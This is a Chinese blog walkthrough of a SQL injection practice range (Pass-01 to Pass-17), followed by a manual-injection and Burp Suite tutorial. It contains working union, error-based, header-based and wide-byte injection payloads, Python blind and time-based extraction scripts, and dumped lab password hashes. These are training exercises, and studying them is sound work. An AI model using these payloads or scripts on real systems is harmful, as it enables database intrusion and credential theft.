掌控安全学院SQL注入靶场

Posted 有点水啊

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了掌控安全学院SQL注入靶场相关的知识,希望对你有一定的参考价值。

掌控安全学院SQL注入靶场

靶场地址

http://inject2.lab.aqlab.cn

Pass-01 显错注入

判断注入类型发现是数字型注入

1 or 1=1 #
1' or '1'='1 #
1" or "1"="1 #

利用order by得到数据库有三列
?id=0 union select 1,2,3#得到回显位23

查库名
可以通过information_schema库或者直接select database()

?id=0 union select 1,(select group_concat(schema_name) from information_schema.schemata),(select database())#

查表名

?id=0 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='error'),3#

查列名

?id=0 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='error'),(select group_concat(column_name) from information_schema.columns where table_name='error_flag')#

可以看到有flag列,直接输出

?id=0 union select 1,(select group_concat(flag) from error.error_flag),3#

Pass-02

测试得题目为单引号字符型注入
这里#注释会报错,转用--+

?id=0' union select 1,2,3 --+

爆库

?id=0' union select 1,(select database()),3--+


后面和Pass-01一样
直接得到flag

?id=0' union select 1,(select group_concat(flag) from error.error_flag),3--+

Pass-03

查看语句得知需要')闭合前面的('

?id=0') union select 1,2,3--+


剩下同理,没有过滤

Pass-04

双引号即可

?id=0") union select 1,2,3--+

Pass-05 POST注入

GET换POST

username=1' union select 1,2,3#&password=1&submi=%E7%99%BB%E5%BD%95

套用payload即可

username=1' union select 1,(select group_concat(flag) from error.error_flag),3#&password=1&submi=%E7%99%BB%E5%BD%95

Pass-06

同Pass-04

username=0") union select 1,2,3#&password=1&submi=%E7%99%BB%E5%BD%95

Pass-07 Head注入

提示Head注入,照常先测试一下payload

好!弱口令(好像串台了)

既然提示了就先简单测一下hackbar能改的head信息
改UA头的时候发现报错了
保持账号密码不变,只更改UA头1' or updatexml(1,concat('?',database()),1),1) #
成功将库名爆出
将database()换成查询语句爆库名
' or updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='head_error'),'~'),1),1) #

列名
' or updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_name='flag_head'),'~'),1),1) #

得到flag
' or updatexml(1,concat('~',(select group_concat(flag_h1) from head_error.flag_head),'~'),1),1) #

Pass-08

账号密码还是admin/123456
测试发现是Refer头注入,过程和Pass-07一样
' or updatexml(1,concat('~',(select group_concat(flag_h1) from head_error.flag_head),'~'),1),1) #

Pass-09

这个Hackbar测不出来了,上Bp!
测了一圈没反应,加上最熟悉的XFF头,flag就出来了
注入过程还是参考Pass-07
X-Forwarded-For:' or updatexml(1,concat('~',(select group_concat(flag_h1) from head_error.flag_head),'~'),1),1) #

Pass-10 布尔盲注

没啥过滤的盲注
直接手搓脚本
二分法+异或(不异或也没啥问题)

import requests
url = "http://inject2.lab.aqlab.cn/Pass-10/index.php?id="
flag=''
for i in range(1,100):
    low = 32
    high = 126
    mid = (low+high)//2
    while(low<high):
        #payload=url+"0^(ascii(substr((select database()),,1))>)".format(i,mid)	#爆库名
        #payload = url+"0^(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),,1))>)".format(i,mid)	#爆表名
	    #payload = url+"0^(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='loflag' ),,1))>)".format(i,mid)	#爆列名
        payload = url+"0^(ascii(substr((select group_concat(flaglo) from kanwolongxia.loflag),,1))>)".format(i,mid)	#爆flag
        res = requests.get(payload)
        if 'No results found' not in res.text:
            low = mid + 1
        else:
            high = mid
        mid = (low+high)//2

    if (mid==32|mid==126):
        break
    
    flag +=chr(mid)
    print(flag)
print(flag)

库名

表名

列名

获得数据


好像有点小禁爬,拼起来就是最终flag了

哈哈,flag跑完了,ip好像被封了(

Pass-11

多一个双引号,小问题

import requests
url = "http://inject2.lab.aqlab.cn/Pass-11/index.php?id=1\\" and 1="
flag=''
for i in range(1,100):
    low = 32
    high = 126
    mid = (low+high)//2
    while(low<high):
        #payload=url+"0^(ascii(substr((select database()),,1))>)--+".format(i,mid)
        #payload = url+"0^(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),,1))>)--+".format(i,mid)   #爆表名
        #payload = url+"0^(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='loflag' ),,1))>)--+".format(i,mid) #爆列名
        payload = url+"0^(ascii(substr((select group_concat(flaglo) from kanwolongxia.loflag),,1))>)--+".format(i,mid)
        res = requests.get(payload)
        #print(payload)
        if 'No results found' not in res.text:
            low = mid + 1
        else:
            high = mid
        mid = (low+high)//2

    if (mid==32|mid==126):
        break
    
    flag +=chr(mid)
    print(flag)
print(flag)

点到为止

Pass-12

万能密码登录成功,可以作为盲注的判断依据

稍微调试一下语句,再把请求方式改为POST

import requests
url = "http://inject2.lab.aqlab.cn/Pass-12/index.php"
flag=''
data='username':'1','password':'1','submit':'%E7%99%BB%E5%BD%95'
for i in range(1,100):
    low = 32
    high = 126
    mid = (low+high)//2
    while(low<high):
        #payload="1\\' or 1=0^(ascii(substr((select database()),,1))>)#".format(i,mid)
        #payload="1\\' or 1=0^(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),,1))>)#".format(i,mid)   #爆表名
        #payload="1\\' or 1=0^(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='loflag' ),,1))>)#".format(i,mid) #爆列名
        payload="1\\' or 1=0^(ascii(substr((select group_concat(flaglo) from kanwolongxia.loflag),,1))>)#".format(i,mid)
        data['username']=payload
        res = requests.post(url,data=data)
        #print(data)
        if '账号密码错误' not in res.text:
            low = mid + 1
        else:
            high = mid
        mid = (low+high)//2

    if (mid==32|mid==126):
        break
    
    flag +=chr(mid)
    print(flag)
print(flag)

还是同一个库,润!

Pass-13 延时注入

延时注入,先测试注入点
?id=1" and sleep(5)--+
小爆一下库
?id=1" and if((ascii(substr((database()),1,1))>0),sleep(3),sleep(0))--+
然后拿出上面的盲注脚本


和布尔盲注一个库

放个脚本

import requests
url = "http://inject2.lab.aqlab.cn/Pass-13/index.php?id=1\\" and "
flag=''
for i in range(1,100):
    low = 32
    high = 126
    mid = (low+high)//2
    while(low<high):
        #payload=url+"if((ascii(substr((database()),,1))>),sleep(1),sleep(0))--+".format(i,mid)	#爆库名
        #payload = url+"if((ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),,1))>),sleep(1),sleep(0))--+".format(i,mid)	#爆表名
        #payload = url+"if((ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='loflag' ),,1))>),sleep(1),sleep(0))--+".format(i,mid)	#爆列名
        payload = url+"if((ascii(substr((select group_concat(flaglo) from kanwolongxia.loflag),,1))>),sleep(1),sleep(0))--+".format(i,mid)	#爆flag
        #print(payload)
        res = requests.get(payload).elapsed.total_seconds()
        if res>1:
            low = mid + 1
        else:
            high = mid
        mid = (low+high)//2

    if (mid==32|mid==126):
        break
    
    flag +=chr(mid)
    print(flag)
print(flag)

Pass-14

同上
更改url即可

url = "http://inject2.lab.aqlab.cn/Pass-14/index.php?id=1') and "

Pass-15 宽字节注入

宽字节注入,来个经典%df
?id=1%df' or 1=1--+

看看库?id=1%df' union select 1,database(),3--+

表名
?id=1%df' union select 1,database(),(select group_concat(table_name) from information_schema.tables where table_schema=database())--+
因为单引号被转义了,所以查表的时候库名不能用'china_flag',可以用十六进制代替
?id=1%df' union select 1,database(),(select group_concat(column_name) from information_schema.columns where table_name=0x6368696e615f666c6167)--+
获取数据
?id=1%df' union select 1,database(),(select group_concat(C_Flag) from widechar.china_flag)--+

Pass-16

id=(“1”)得到闭合方式为%df")
?id=1%df") union select 1,database(),(select group_concat(C_Flag) from widechar.china_flag)--+

Pass-17

POST型宽字节注入
hackbar发包已经满足不了%df了,发送后会变成ß
需要通过奇数个汉字学')或者Burpsuite直接发包%df')

bp虽然乱码但是颜色对了)

python测试的%df')无效,就用汉字测了

import requests
url = "http://inject2.lab.aqlab.cn/Pass-17/index.php"
flag=''
data='username':'admin%df\\'\\) or 1=1#','password':'1','submit':'%E7%99%BB%E5%BD%95'
for i in range(1,100):
    low = 32
    high = 126
    mid = (low+high)//2
    while(low<high):
        #payload="a%df\\') or 1=0^(ascii(substr((select database()),,1))>)#".format(i,mid)
        #payload="学\\') or 1=0^(ascii(substr((select database()),,1))>)#".format(i,mid)
        #payload="学\\') or 1=0^(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),,1))>)#".format(i,mid)   #爆表名
        #payload="学\\') or 1=0^(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='china_flag' ),,1))>)#".format(i,mid) #爆列名
        payload="学\\') or 1=0^(ascii(substr((select group_concat(C_Flag) from widechar.china_flag),,1))>)#".format(i,mid)
        data['username']=payload
        res = requests.post(url,data=data)
        #print(data)
        #print(res.text)
        if '账号密码错误' not in res.text:
            low = mid + 1
        else:
            high = mid
        mid = (low+high)//2

    if (mid==32|mid==126):
        break
    
    flag +=chr(mid)
    print(flag)
print(flag)

总结

完结撒花哩
总体没啥难度,也没有啥过滤,拿来复健感觉还不错,最后一个宽字节注入又花了点时间研究了一下
好!
就这样

手工注入和BurpSuite入门-web安全

1、手工注入

具体的手工注入步骤可以参考之前写的博文:SQL注入基础步骤及SQLMap工具使用(一)

这里我们以墨者学院->在线靶场->web安全->SQL注入->SQL手工注入漏洞测试(MySQL数据库)为例,重新复习一下,重点是:

  1. 查询注入点
  2. 注入步骤

启动靶场,图示:

分析:

  1. 登录用于输入账号密码可能出现的漏洞为弱密码口令
  2. 当鼠标放在下面灰色横条时,出现通知提示,切可点击,有可疑,点击进入

进入后,图示:

按照通常的注入步骤一步一步来:

  1. 判断是否存在注入,并寻找注入点
  2. 获取数据库相关信息,主要是获取数据库名
  3. 获取表名
  4. 获取字段名
  5. 如果密码字段为加密字段,破解密码

1.1、BurpSuite入门

因为要频繁测试,在浏览器上面修改太麻烦,我们这里借助BurpSuite完成手工注入,以后也会经常使用,这是旧版本的BurpSuite。

  1. 开启BurpSuite,切换至Proxy选项卡->Options配置子选项卡,默认一条选择,选中,点击编辑,配置好选项,图示:

  2. 浏览器配置,点开浏览器设置选项,图示:

  3. 开始捕获请求,图示:

  4. 拦截到请求之后,右键发送至repeater模块,图示:

没事安装了2021.6版本的BurpSuite,之后就以新版本测试,顺便体验下新功能;基本功能模块和
旧版暂时没有太大差别。
5. 切换到repeater模块,点击send(模拟浏览器)发送请求,获取响应,可多次重复执行,图示:

1.2、手工注入

题目提示‘PHP代码对客户端提交的参数未做任何过滤’

  1. 测试是否存在注入:参数后跟’ 测试,得到错误页面;参数后跟 and 1=1,正常页面,and 1= 2,非正常页面;

  2. order by 猜解字段个数:order by 4,返回正常;ordr by 5,返回不正常;得出结论当前表字段4

  3. union select 查看注入点:由步骤2知,字段个数为4,

    1. -1 uninon select 1,2,3,4, 得出注入点在2,3位置 ,知所有参数选择-1(或者任何不存在的id),这样才会通过union 显示union之后的结果
    2. 或者 1 union select 1,2,3,4 limit 1,1 也可以显示union之后的结果,图示
  4. 获取数据库版本及全部数据库名:-1 union select 1,version(),group_concat(schema_name),4 from information_schema.schemata,和墨者相关第二个数据库mozhe_Discuz_StormGroup,图示

  5. 获取mozhe_Discuz_StormGroup数据库下的所有表名:-1 union select 1,version(),group_concat(table_name),4 from information_schema.tables where table_schema=‘mozhe_Discuz_StormGroup’,和题目相关就是第一个表StormGroup_member

  6. 获取表StormGroup_member下所有的字段:-1 union select 1,version(),group_concat(column_name),4 from information_schema.columns where table_name=‘StormGroup_member’,结果id,name,password,status,name,password就是我们需要的字段

  7. 查询字段name,password对应的值:-1 union select 1,name,password,4 from mozhe_Discuz_StormGroup.StormGroup_member limit 0,1 ,通过limit最终获取2条记录

    1. name:mozhe,password:356f589a7df439f6f744ff19bb8092c0
    2. name:mozhe,password:144c4c345dacd188921d999711ed2177
  8. 很明显密码为MD5 32位加密,去在线MD5解密网站,最终得出密码

其中BurpSuite Response响应下Render渲染选项卡(内置浏览器功能),和正常访问浏览器显示相同的页面,但是不知道为什么我这里有些卡。

以上是关于掌控安全学院SQL注入靶场的主要内容,如果未能解决你的问题,请参考以下文章

掌控安全学院SQL注入靶场宽字节注入

手工注入和BurpSuite入门-web安全

Web安全 SQL注入靶场搭建(玩转整个注入环境.)

web安全pikachu靶场之SQL注入

(2020上半年第15天(SQL注入-注入实战(SQL注入(完结)10/10)))小迪网络安全笔记

sqlmap--实战篇